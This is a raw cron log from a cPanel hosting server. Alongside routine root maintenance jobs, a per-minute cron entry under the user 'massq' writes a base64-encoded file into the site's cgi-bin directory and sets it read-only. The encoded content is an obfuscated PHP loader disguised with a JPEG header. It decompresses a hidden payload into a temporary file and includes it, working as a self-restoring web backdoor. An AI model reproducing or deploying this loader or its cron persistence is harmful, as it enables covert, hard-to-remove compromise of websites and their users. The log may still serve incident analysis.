Sep  1 15:00:01 server CROND[7639]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 15:00:01 server CROND[7641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:00:01 server CROND[7645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:00:01 server CROND[7642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:00:01 server CROND[7644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:01:01 server CROND[8514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:01:01 server CROND[8515]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 15:01:01 server CROND[8516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:01:01 server CROND[8517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:01:01 server run-parts(/etc/cron.hourly)[8515]: starting 0anacron
Sep  1 15:01:01 server run-parts(/etc/cron.hourly)[8537]: finished 0anacron
Sep  1 15:02:01 server CROND[8896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:02:01 server CROND[8898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:02:01 server CROND[8899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:03:01 server CROND[9275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:03:01 server CROND[9276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:03:01 server CROND[9277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:04:01 server CROND[9669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:04:01 server CROND[9670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:04:01 server CROND[9671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:05:01 server CROND[10062]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:05:01 server CROND[10064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:05:01 server CROND[10071]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 15:05:01 server CROND[10067]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 15:05:01 server CROND[10072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:05:01 server CROND[10073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:05:01 server CROND[10068]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 15:05:01 server CROND[10069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:06:01 server CROND[10990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:06:01 server CROND[10991]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:06:01 server CROND[10992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:07:01 server CROND[11357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:07:01 server CROND[11358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:07:01 server CROND[11359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:08:01 server CROND[11740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:08:01 server CROND[11741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:08:01 server CROND[11742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:09:01 server CROND[12121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:09:01 server CROND[12120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:09:01 server CROND[12122]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 15:09:01 server CROND[12123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:10:01 server CROND[12537]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 15:10:01 server CROND[12541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:10:01 server CROND[12548]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 15:10:01 server CROND[12549]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:10:01 server CROND[12552]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 15:10:01 server CROND[12554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:10:01 server CROND[12555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:10:01 server CROND[12551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:11:01 server CROND[13469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:11:01 server CROND[13470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:11:01 server CROND[13471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
